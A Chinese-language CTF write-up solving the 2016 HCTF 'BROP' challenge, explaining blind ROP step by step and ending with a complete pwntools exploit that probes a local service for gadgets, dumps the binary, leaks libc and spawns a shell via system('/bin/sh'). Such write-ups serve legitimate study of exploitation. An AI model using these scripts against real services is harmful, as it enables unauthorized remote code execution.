CTF-PWN-栈溢出-中级ROP-【BROP-2】

文章目录

  • 2016 HCTF 出题人失踪了
    • 爆破栈溢出长度
    • 寻找stop_gadget
    • 寻找rop_gadget
    • 寻找输出函数
    • 输出得到binary文件
    • 输出函数的真实地址并最后构造getshell的ROP链
    • exp

2016 HCTF 出题人失踪了

socat tcp-l:9999,reuseaddr,fork exec:./brop
tcp-l:9999 建立一个tcp监听端口,端口为9999
reuseaddr:它允许在主进程终止后立即重启,即使一些子套接字没有完全关闭
fork:转发到的服务器 IP 和端口 这里是转发给brop处理

puts()函数用来向标准输出设备屏幕输出字符串并换行。
具体是把字符串输出到屏幕上,将‘\0’转换为回车换行。调用方式是:puts(str)。其中str是字符串数组名或者字符串指针。实际上,数组名就是指针。

爆破栈溢出长度

不断尝试长度,此时发现没有canary,因为如果溢出到canary部分报错信息会有canary,所以最后得到栈溢出长度为72

def get_buffer_overflow_length(): # 得到栈溢出长度
    i=1
    while 1:
        try:
            f=remote("127.0.0.1",9999)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",b"g"*i)
            s=f.recvline()
            f.close()
            i=i+1
        except EOFError:
            f.close()
            print("因为如果有canary保护的话会有相应报错内容而这里没有,所以出现溢出到返回地址")
            print("到出现错误的时候即从输入到返回地址的长度为",i-1)
            return i-1

CTF-PWN-栈溢出-中级ROP-【BROP-2】_第1张图片

寻找stop_gadget

即尝试不同的probe从而使得能够返回到主函数中

def get_stop_addr(length):  # 得到能返回主函数的地址
    addr=0x400000
    while 1:
        try:
            f=remote("127.0.0.1",9999)
            payload=b"g"*length+p64(addr)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
            s=f.recvline()
            print(s)
            if s.startswith(b"WelCome"):
                print("第一个找到的能返回主函数开始的地址",hex(addr))
                return addr ## 找到一个能返回主函数开始的地址
            addr=addr+1
            f.close()
        except Exception:
            addr=addr+1
            f.close()

CTF-PWN-栈溢出-中级ROP-【BROP-2】_第2张图片

寻找rop_gadget

此时我们要找gadget来能够控制寄存器
在libc_csu_init的结尾存在连续pop六次的gadget,这个gadget比较罕见,而且可以通过错位得到pop rdi的操作
所以我们可以先找到连续pop6次的gadget的地址,然后偏移得到pop rdi;ret 和pop rsi;ret的地址
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第3张图片
此时对应gadget的排列顺序就是

  • probe,trap,trap,trap,trap,trap,trap,stop

所以如果此时有没有crash的probe那么应该是libc_csu_init连续pop6次的gadget的地址
但也不一定,只是其他情况的概率很小,如连续pop七次但此时ret时栈顶正好有合适地址。所以又检查了一下

def get_brop_gadget(stop_addr,addr,length): # 找到能连续pop6次并ret的指令的地址
        try:
            f=remote("127.0.0.1",9999)
            payload=b"g"*length+p64(addr)+p64(0)*6+p64(stop_addr)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
            s=f.recvline()
            f.close()
            if s.startswith(b"WelCome"):
                print("找到了一个可能合适的连续pop六次+ret的gadget:",hex(addr))
                return True
        except Exception:
            f.close()


def check_brop_gadget(stop_addr,length, addr): #检查防止其是pop7次然后ret偶然能返回到正确地址的可能性
    try:
        f=remote("127.0.0.1",9999)
        payload=b'g'*length+p64(addr)+p64(0)*7+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        s=f.recvline()
        f.close()
        return False 
    except Exception:
        f.close()
        print("大概率是正确的了")
        return True

def ensure_brop_gadget(stop_addr,length): #综合get和check
    addr=0x400000
    while 1:
        if get_brop_gadget(stop_addr,addr,length):
            if check_brop_gadget(stop_addr,length,addr):
                print("存在一个brop_gadget,地址为:",hex(addr))
                return addr
        addr=addr+1
        

寻找输出函数

不同输出函数对应的参数个数不一样,如果是puts参数只有一个rdi,所以先用puts函数试试。
又此时如果没有开启PIE情况下,0x400000为ELF文件的头部,其内容为\x7ELF字符
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第4张图片
所以我们可以将这个0x400000作为rdi的值,然后不断尝试probe直到输出\x7ELF字符,说明此时找到了输出函数puts

def find_put_plt(stop_addr,pop_rdi_ret,buffer_length): #找到find的plt表的位置
    addr=0x400500
    while 1:
        f=remote("127.0.0.1",9999)
        payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        try:
            s=f.recv()
            if s.startswith(b"\x7fELF"):
                print("找到了输出函数的plt位置",hex(addr))
                return addr
            else :
                addr=addr+1
            f.close()
        except Exception:
            f.close()
            addr=addr+1

CTF-PWN-栈溢出-中级ROP-【BROP-2】_第5张图片

输出得到binary文件

此时将参数换为程序地址,然后调用输出函数,输出程序所有内容,写入自己建立的文件,最后反汇编该文件,找到该输出函数的plt地址对应的plt表区间,进而找到跳转到输出函数在got表的地址的指令,从而找到输出函数在got表中的地址
这里先得到0x400000到0x401000,看看能不能得到plt表,结果可以得到最左上角的binary_file文件
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第6张图片
放入IDA
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第7张图片
找到plt表,进而找到输出函数在的got表
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第8张图片

def leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr): # 泄露二进制文件然后能找到plt中puts的内容有其got地址的相关信息
   
    addr=0x400000
    while addr<0x401000:
        f=remote("127.0.0.1",9999)
        payload=b'g'*buffer_length+p64(pop_rdi_ret)+p64(addr)+p64(put_plt_addr)+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        s=f.recvuntil(b"\nWelCome")
        s=s[:s.index(b"\nWelCome")]
        s=s+b"\x00"
        with  open("binary_file","ab+") as bf:
            bf.write(s)
        addr=addr+len(s)
        f.close()

输出函数的真实地址并最后构造getshell的ROP链

此时将输出函数puts在got表中的地址作为参数,调用puts函数,从而得到puts的真实地址,进而得到libc基地址。注意此时不要关闭传输通道,不然进程再次重启,对应的puts的真实地址会改变,其libc基地址也会改变,所以此时得到puts函数真实地址后跳转到主函数(返回地址是stop_addr),然后计算得到libc基地址和system地址和/bin/sh的地址,然后再次输入构造的ROP链即getshell


#buffer_length=get_buffer_overflow_length()
buffer_length=72

#stop_addr=get_stop_addr(buffer_length)
stop_addr=0x4005c0

#brop_addr=get_brop_gadget(stop_addr,buffer_length)
#ensure_brop_gadget(stop_addr,buffer_length)
brop_addr=0x4007ba
pop_rdi_ret=brop_addr+0x9

#put_plt_addr=find_put_plt(stop_addr,pop_rdi_ret,buffer_length)
put_plt_addr=0x400555

#leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr)
put_got_addr=0x601018 # 查看binary_file找到got表的地址 
# 以上都是通过函数得出,下面是对得出的信息进行利用


# 得到puts的地址
f=remote("127.0.0.1",9999)#f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(put_got_addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()[:-1]

#计算相关地址
put_addr=u64(s.ljust(8,b"\x00"))
print(hex(put_addr))
libc=ELF("./libc-2.23.so")
libc_base=put_addr-libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system_addr))
print(hex(binsh_addr))

# 构造ROP链执行system函数
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
f.interactive()

攻击成功
CTF-PWN-栈溢出-中级ROP-【BROP-2】_第9张图片

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#f=process("./brop")



def get_buffer_overflow_length(): # 得到栈溢出长度
    i=1
    while 1:
        try:
            f=remote("127.0.0.1",9999)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",b"g"*i)
            s=f.recvline()
            f.close()
            i=i+1
        except EOFError:
            f.close()
            print("因为如果有canary保护的话会有相应报错内容而这里没有,所以出现溢出到返回地址")
            print("到出现错误的时候即从输入到返回地址的长度为",i-1)
            return i-1

def get_stop_addr(length):  # 得到能返回主函数的地址
    addr=0x400000
    while 1:
        try:
            f=remote("127.0.0.1",9999)
            payload=b"g"*length+p64(addr)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
            s=f.recvline()
            print(s)
            if s.startswith(b"WelCome"):
                print("第一个找到的能返回主函数开始的地址",hex(addr))
                return addr ## 找到一个能返回主函数开始的地址
            addr=addr+1
            f.close()
        except Exception:
            addr=addr+1
            f.close()


def get_brop_gadget(stop_addr,addr,length): # 找到能连续pop6次并ret的指令的地址
        try:
            f=remote("127.0.0.1",9999)
            payload=b"g"*length+p64(addr)+p64(0)*6+p64(stop_addr)
            f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
            s=f.recvline()
            f.close()
            if s.startswith(b"WelCome"):
                print("找到了一个可能合适的连续pop六次+ret的gadget:",hex(addr))
                return True
        except Exception:
            f.close()


def check_brop_gadget(stop_addr,length, addr): #检查防止其是pop7次然后ret偶然能返回到正确地址的可能性
    try:
        f=remote("127.0.0.1",9999)
        payload=b'g'*length+p64(addr)+p64(0)*7+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        s=f.recvline()
        f.close()
        return False 
    except Exception:
        f.close()
        print("大概率是正确的了")
        return True

def ensure_brop_gadget(stop_addr,length): #综合get和check
    addr=0x400000
    while 1:
        if get_brop_gadget(stop_addr,addr,length):
            if check_brop_gadget(stop_addr,length,addr):
                print("存在一个brop_gadget,地址为:",hex(addr))
                return addr
        addr=addr+1
        


def find_put_plt(stop_addr,pop_rdi_ret,buffer_length): #找到find的plt表的位置
    addr=0x400500
    while 1:
        f=remote("127.0.0.1",9999)
        payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        try:
            s=f.recv()
            if s.startswith(b"\x7fELF"):
                print("找到了输出函数的plt位置",hex(addr))
                return addr
            else :
                addr=addr+1
            f.close()
        except Exception:
            f.close()
            addr=addr+1



def leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr): # 泄露二进制文件然后能找到plt中puts的内容有其got地址的相关信息
   
    addr=0x400000
    while addr<0x401000:
        f=remote("127.0.0.1",9999)
        payload=b'g'*buffer_length+p64(pop_rdi_ret)+p64(addr)+p64(put_plt_addr)+p64(stop_addr)
        f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
        s=f.recvuntil(b"\nWelCome")
        s=s[:s.index(b"\nWelCome")]
        s=s+b"\x00"
        with  open("binary_file","ab+") as bf:
            bf.write(s)
        addr=addr+len(s)
        f.close()






#buffer_length=get_buffer_overflow_length()
buffer_length=72

#stop_addr=get_stop_addr(buffer_length)
stop_addr=0x4005c0

#brop_addr=get_brop_gadget(stop_addr,buffer_length)
#ensure_brop_gadget(stop_addr,buffer_length)
brop_addr=0x4007ba
pop_rdi_ret=brop_addr+0x9

#put_plt_addr=find_put_plt(stop_addr,pop_rdi_ret,buffer_length)
put_plt_addr=0x400555

#leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr)
put_got_addr=0x601018 # 查看binary_file找到got表的地址 
# 以上都是通过函数得出,下面是对得出的信息进行利用


# 得到puts的地址
f=remote("127.0.0.1",9999)#f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(put_got_addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()[:-1]

#计算相关地址
put_addr=u64(s.ljust(8,b"\x00"))
print(hex(put_addr))
libc=ELF("./libc-2.23.so")
libc_base=put_addr-libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system_addr))
print(hex(binsh_addr))

# 构造ROP链执行system函数
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
f.interactive()


"""  测试用的
f=remote("127.0.0.1",9999)
f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x40093b)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
"""

你可能感兴趣的:(CTF-PWN-栈溢出,网络,CTF-PWN)